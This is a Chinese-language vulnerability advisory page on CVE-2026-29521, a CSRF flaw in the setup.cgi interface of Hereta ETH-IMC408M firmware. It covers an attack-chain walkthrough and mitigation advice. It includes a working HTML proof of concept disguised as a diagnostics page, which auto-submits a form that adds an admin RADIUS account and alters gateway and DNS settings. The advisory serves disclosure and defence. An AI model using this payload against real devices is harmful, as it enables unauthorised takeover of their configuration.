IPBUF安全漏洞报告
English
CVE-2026-29521 CVSS 4.3 中危

CVE-2026-29521 Hereta ETH-IMC408M 跨站请求伪造漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-29521
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hereta ETH-IMC408M 固件

相关标签

跨站请求伪造CSRFHeretaETH-IMC408M固件漏洞设备安全网络设备认证绕过

漏洞概述

CVE-2026-29521是存在于Hereta ETH-IMC408M设备固件版本1.0.15及之前版本中的一个跨站请求伪造(CSRF)漏洞。该漏洞存在于设备的setup.cgi接口中,由于该接口缺乏有效的CSRF保护机制,攻击者可以构造恶意网页,诱导已登录的管理员用户访问,从而在用户不知情的情况下执行未经授权的配置操作。攻击者利用此漏洞可以添加RADIUS账户、修改网络设置、触发设备诊断等操作,严重威胁设备的机密性、完整性和可用性。由于漏洞利用需要用户交互,攻击复杂度较低,但一旦成功,攻击者可以完全接管设备的配置管理权限。

技术细节

该漏洞源于Hereta ETH-IMC408M设备的Web管理界面setup.cgi端点未实施CSRF令牌验证机制。攻击者首先构造一个包含自动提交表单的恶意HTML页面,该表单指向设备的setup.cgi接口。当已认证的管理员用户访问该恶意页面时,浏览器会自动携带用户的HTTP Basic Authentication凭证发送请求。由于设备服务器无法区分正常操作与伪造请求,攻击者可以执行以下操作:1)通过修改表单参数添加新的RADIUS账户,实现权限提升;2)更改网络配置参数,可能导致中间人攻击或数据泄露;3)触发设备诊断功能,可能造成服务中断。攻击成功的关键在于利用浏览器自动发送认证凭证的特性,结合社会工程学诱导用户访问恶意链接。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标设备Hereta ETH-IMC408M,获取其IP地址和管理界面入口点
STEP 2
步骤2: 恶意页面构建
攻击者构造包含自动提交表单的恶意HTML页面,表单指向设备的setup.cgi接口并包含期望的配置修改参数
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或其他方式诱导已登录的管理员用户访问恶意页面
STEP 4
步骤4: 请求自动发送
用户浏览器加载恶意页面后,自动携带HTTP Basic Authentication凭证向setup.cgi发送POST请求
STEP 5
步骤5: 配置篡改
设备服务器接收伪造请求,由于缺乏CSRF验证,执行配置修改操作(添加账户/修改网络/触发诊断)
STEP 6
步骤6: 持久化控制
攻击者利用添加的RADIUS账户或修改的网络配置实现对设备的持久化访问和控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2026-29521 - Hereta ETH-IMC408M setup.cgi --> <!DOCTYPE html> <html> <head> <title>Device Diagnostics</title> </head> <body> <h1>Loading device diagnostics...</h1> <form id="csrfForm" action="http://<device-ip>/setup.cgi" method="POST" enctype="application/x-www-form-urlencoded"> <!-- Add RADIUS account --> <input type="hidden" name="action" value="add_radius"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="password" value="evilpass123"> <input type="hidden" name="privilege" value="admin"> <!-- Modify network settings --> <input type="hidden" name="network_action" value="modify"> <input type="hidden" name="gateway" value="192.168.1.1"> <input type="hidden" name="dns" value="8.8.8.8"> <!-- Trigger diagnostics --> <input type="hidden" name="diagnostic" value="run"> </form> <script> // Auto-submit form on page load document.getElementById('csrfForm').submit(); </script> </body> </html>

影响范围

Hereta ETH-IMC408M 固件 <= 1.0.15

防御指南

临时缓解措施
在厂商发布修复版本之前,建议采取以下临时缓解措施:1)避免使用管理员权限访问未知链接;2)对管理界面网络访问进行严格控制,仅允许可信IP访问;3)定期检查设备配置和账户列表,及时发现异常变更;4)考虑使用网络分段策略隔离管理流量;5)启用详细的审计日志以便追踪异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表